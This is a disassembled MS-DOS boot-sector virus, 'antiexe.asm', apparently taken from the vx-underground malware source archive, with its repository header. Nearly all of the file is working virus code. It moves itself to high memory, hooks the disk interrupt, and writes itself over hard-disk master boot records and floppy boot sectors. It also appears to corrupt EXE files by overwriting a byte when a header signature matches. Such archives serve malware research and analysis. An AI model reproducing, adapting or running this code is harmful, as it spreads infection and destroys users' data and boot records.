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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.antiexe.asm
vxunderground d3381d8e02
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2021-01-12 17:31:39 -06:00

286 lines
7.7 KiB
NASM
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target EQU 'T2' ; Target assembler: TASM-2.X
include srmacros.inc
; The following equates show data references outside the range of the program.
data_1e equ 4Ch
data_3e equ 34Ch
data_4e equ 34Eh
data_5e equ 413h
data_6e equ 46Ch
data_7e equ 7C00h ;*
data_8e equ 4
data_9e equ 6
data_10e equ 30h
data_11e equ 200h ;*
data_12e equ 3BEh ;*
data_13e equ 3701h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
antiexe proc far
start:
jmp loc_8
;* No entry point to code
dec bp
;* pop cs ; Dangerous-8088 only
db 0Fh ; Fixup - byte match
add [bx+di],al
push sp
xor ch,ds:data_10e
add al,[bx+di]
add [bx+si],ax
add ah,al
add [bx+si+0Bh],al
lock or [bx+si],ax
adc al,[bx+si]
add al,[bx+si]
add [bx+si],al
dec bp
pop dx
inc ax
add ds:data_13e[bx+si],cl
;* pop cs ; Dangerous-8088 only
db 0Fh ; Fixup - byte match
loopnz $-7Eh ; Loop if zf=0, cx>0
cld ; Clear direction
stc ; Set carry flag
jz loc_ret_5 ; Jump if zero
mov word ptr cs:[7],ax
int 0D3h ; ??INT Non-standard interrupt
jc loc_ret_5 ; Jump if carry Set
pushf ; Push flags
cmp byte ptr cs:[8],2
jne loc_4 ; Jump if not equal
push cx
push si
push di
push ds
sub cx,cx
mov ds,cx
test byte ptr ds:data_6e,3
jz loc_3 ; Jump if zero
push cs
pop ds
mov di,bx
loc_1:
;* lea si,ds:[1Eh] ; Load effective addr
db 8Dh, 36h, 1Eh, 00h ; Fixup - byte match
mov cx,8
push di
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
pop di
jz loc_2 ; Jump if zero
add di,data_11e
dec byte ptr cs:[7]
jnz loc_1 ; Jump if not zero
jmp short loc_3
db 90h
loc_2:
stosb ; Store al to es:[di]
loc_3:
pop ds
pop di
pop si
pop cx
cmp cx,1
jne loc_4 ; Jump if not equal
cmp dh,0
jne loc_4 ; Jump if not equal
call sub_1
loc_4:
popf ; Pop flags
loc_ret_5:
retf 2 ; Return far
antiexe endp
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; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push es
pop ds
mov ax,word ptr cs:[0]
cmp ax,[bx]
jne loc_6 ; Jump if not equal
mov ax,word ptr cs:[2]
cmp ax,[bx+2]
jne loc_6 ; Jump if not equal
mov cx,ds:data_8e[bx]
mov dh,ds:data_9e[bx]
mov ax,201h
int 0D3h ; ??INT Non-standard interrupt
jmp short loc_7
loc_6:
cmp dl,1
ja loc_7 ; Jump if above
mov ax,[bx+16h]
mul byte ptr [bx+10h] ; ax = data * al
add ax,[bx+0Eh]
push dx
mov cl,4
mov dx,[bx+11h]
shr dx,cl ; Shift w/zeros fill
add ax,dx
dec ax
mov cx,[bx+18h]
push cx
shl cx,1 ; Shift w/zeros fill
sub dx,dx
div cx ; ax,dx rem=dx:ax/reg
pop cx
push ax
mov ax,dx
sub dx,dx
div cx ; ax,dx rem=dx:ax/reg
mov dh,al
mov cl,dl
pop ax
mov ch,al
inc cl
pop ax
mov dl,al
mov byte ptr cs:[6],dh
mov word ptr cs:[4],cx
mov ax,301h
int 0D3h ; ??INT Non-standard interrupt
jc loc_7 ; Jump if carry Set
push cs
pop es
cld ; Clear direction
mov di,7
mov si,bx
add si,di
mov cx,17h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; Zero register
mov cx,1
sub dh,dh
int 0D3h ; ??INT Non-standard interrupt
loc_7:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_1 endp
loc_8:
xor di,di ; Zero register
mov ds,di
les dx,dword ptr ds:data_1e ; Load 32 bit ptr
mov ds:data_3e,dx
mov ds:data_4e,es
cli ; Disable interrupts
mov ss,di
mov si,data_7e
mov sp,si
sti ; Enable interrupts
push ds
push si
push si
mov ax,ds:data_5e
dec ax
mov ds:data_5e,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov word ptr ds:data_1e+2,ax
mov word ptr ds:data_1e,27h
push ax
mov ax,155h
push ax
mov cx,100h
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
retf
;* No entry point to code
xor ax,ax ; Zero register
mov es,ax
int 0D3h ; ??INT Non-standard interrupt
push cs
pop ds
mov ax,201h
pop bx
mov cx,word ptr ds:[4]
cmp cx,0Dh
jne loc_10 ; Jump if not equal
mov dx,80h
int 0D3h ; ??INT Non-standard interrupt
loc_ret_9:
retf ; Return far
loc_10:
sub dx,dx
mov dh,ds:data_9e
int 0D3h ; ??INT Non-standard interrupt
jc loc_ret_9 ; Jump if carry Set
push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 0D3h ; ??INT Non-standard interrupt
jc loc_ret_9 ; Jump if carry Set
xor si,si ; Zero register
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_11 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_ret_9 ; Jump if equal
loc_11:
mov cx,0Dh
mov ds:data_8e,cx
mov ax,301h
push ax
int 0D3h ; ??INT Non-standard interrupt
pop ax
jc loc_ret_9 ; Jump if carry Set
mov si,data_12e
mov di,offset data_21
mov cx,21h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
inc cx
sub bx,bx
mov ds:data_9e,dh
int 0D3h ; ??INT Non-standard interrupt
retf ; Return far
data_21 db 80h
db 01h, 01h, 00h, 06h, 0Eh,0DCh
db 0DCh, 1Ch, 00h, 00h, 00h, 78h
db 56h, 06h
db 49 dup (0)
db 55h,0AAh
seg_a ends
end start
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